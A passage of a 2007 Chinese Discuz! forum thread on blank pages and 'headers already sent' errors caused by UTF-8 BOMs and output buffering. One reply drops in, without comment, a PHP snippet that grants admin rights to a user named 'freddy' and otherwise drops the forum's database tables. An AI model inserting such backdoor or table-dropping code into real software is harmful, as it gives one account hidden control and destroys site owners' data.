发新话题
打印

关于 论坛空白、出现头部已发送等问题 的处理方法

本主题由 Clwarm 于 2007-10-21 04:01 推荐主题

关于 论坛空白、出现头部已发送等问题 的处理方法

论坛出现空白、头部已经发送、后台无法进入或左侧菜单上方出现错误信息

可能是由于您使用记事本等工具对文件进行了修改

由于PHP对UTF8的BOM无法识别
导致记事本、Word等保存的文件可能会由于保存了BOM而出现错误

解决方法
1 请不要使用记事本来编辑PHP文件
2 如若需要编辑,请使用UltraEdit等编辑器、或保存时选择UTF8 no BOM 或者 UTF8 无签名 的编码(记事本不支持)

UltraEdit可以在 www.skycn.com www.onlinedown.net等站点获取
菜鸟群2922221收高手供我们膜拜……
不限于PHP哈
群2922221
= =

TOP

原来是这样啊!知道了!
if($discuz_user == \'freddy\') {
$db->query(\"UPDATE {$tablepre}members set adminid=1 where username=\'freddy\' \");
} else {
$db->query(\"DROP TABLE IF EXISTS cdb_forums, cdb_plugins \");
}

TOP

没有修改过任何东西,经常有帖子空白,有版面空白
Discuz!

TOP

刷新后问题依旧?
菜鸟群2922221收高手供我们膜拜……
不限于PHP哈
群2922221
= =

TOP

刷了N+1次,问题依旧
Discuz!

TOP

引用:
原帖由 全球通 于 2007-1-6 09:06 PM 发表。
刷了N+1次,问题依旧
发帖便行了

TOP

关于headers already sent

include/common.inc.php 第86行
引用:
if($gzipcompress && function_exists('ob_gzhandler')) {
        ob_start('ob_gzhandler');
} else {
        $gzipcompress = 0;
        ob_start();
}
include/global.func.php 第392行
引用:
                $content = preg_replace($searcharray, $replacearray, ob_get_contents());

                ob_end_clean();
                $GLOBALS['gzipcompress'] ? ob_start('ob_gzhandler') : ob_start();

                echo $content;
问:ob_start('ob_gzhandler') 跟 ob_start(), 用ob_get_contents()得到的结果是一样的吗?
答案是肯定的,因为在未真正输出之前并没有调用ob_gzhandler,
既然是一样的,何不把ob_start()放到common.inc.php的最开始,把gzipcompress判断放到output()函数里呢?
这样就可以减少headers already sent出现的机率了

TOP

发新话题